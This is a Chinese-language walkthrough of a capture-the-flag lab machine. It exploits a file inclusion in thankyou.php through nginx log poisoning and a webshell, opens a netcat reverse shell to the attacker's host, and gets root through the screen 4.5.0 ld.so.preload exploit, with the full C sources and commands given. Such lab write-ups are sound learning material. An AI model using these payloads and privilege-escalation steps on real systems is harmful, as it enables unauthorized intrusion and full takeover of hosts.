阶段一:信息收集
我们在配置好靶场文件之后运行靶场,利用namp发现靶机开启了80和111端口,
111端口的用处如下:
111端口是baiSUN公司的RPC服务du所有端口,常见RPC服务有rpc.mountd、NFS、rpc.statd、rpc.csmd、rpc.ttybd、amd。(摘自百度知道,虽然我也不知道这些服务是干啥的),总而言之,我们对这个靶场的渗透还是从80端口开始的,通过IP访问,可以访问到以下界面
在看过每个页面之后,我门可以发现我们在contact处在点击提交之后,会发现相仿Copyright的标志会发生变化,在看过别人的wp之后知道这里存在一个文件包含,所以直接测试一波,
可以看到确实存在文件包含,所以再利用文件包含查看源代码具体看一下是怎样的包含,将显示出的字符串base64解密一下,
阶段二:前渗透阶段
可以看到这里对于文件包含并没有做出防护措施,所以直接利用这个漏洞来包含一句话木马
在包含之后再利用包含查看服务器端的日志文件
http://192.168.1.170/thankyou.php?file=/var/log/nginx/access.log
日志记录已经包含成功
利用蚁剑连接
在执行反弹shell
nc -e /bin/bash 192.168.1.170 7744 //反弹shell到7744端口
在接受到反弹shell之后利用python实现交互式shell
nc -lvvp 7744 //端口监听
python -c 'import pty;pty.spawn("/bin/bash")' //实现交互式shell
阶段三:后渗透阶段
在拿到shell之后我们就要想到怎么提权了,先利用命令查看能够执行root权限的文件,
find / -perm /4000 2>/dev/null
发现了screen4.5.0,然后在msf中search一波,发现有screen4.5.0的exp,
copy一手41154.sh,再cat一下,(41154.sh是不能直接进行编译的)
这里我看了很wp最后发现是需要我们创建两个c语言文件,然后将这两个文件进行编译之后产生的新文件通过蚁剑上传到靶机,其中libhax.c的代码如下:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
然后命令行上执行:
gcc -fPIC -shared -ldl -o libhax.so libhax.c
rootshell.c的代码如下:
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
然后执行以下命令:
gcc -o rootshell rootshell.c
注意:这两个文件一定要进行编译,而在进行编译之后会产生两个同名的文件,而我们真正的提权工具就是这两个新产生的文件。
然后将两个文件通过蚁剑上传到靶机上的/tmp下,
然后在我们的交互式shell窗口cd到/tmp/etc下执行以下命令:
cd /tmp/etc //转到tmp下的etc文件中
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" //构造exp
/tmp/rootshell //实现提权
然后进入到root目录下查看flag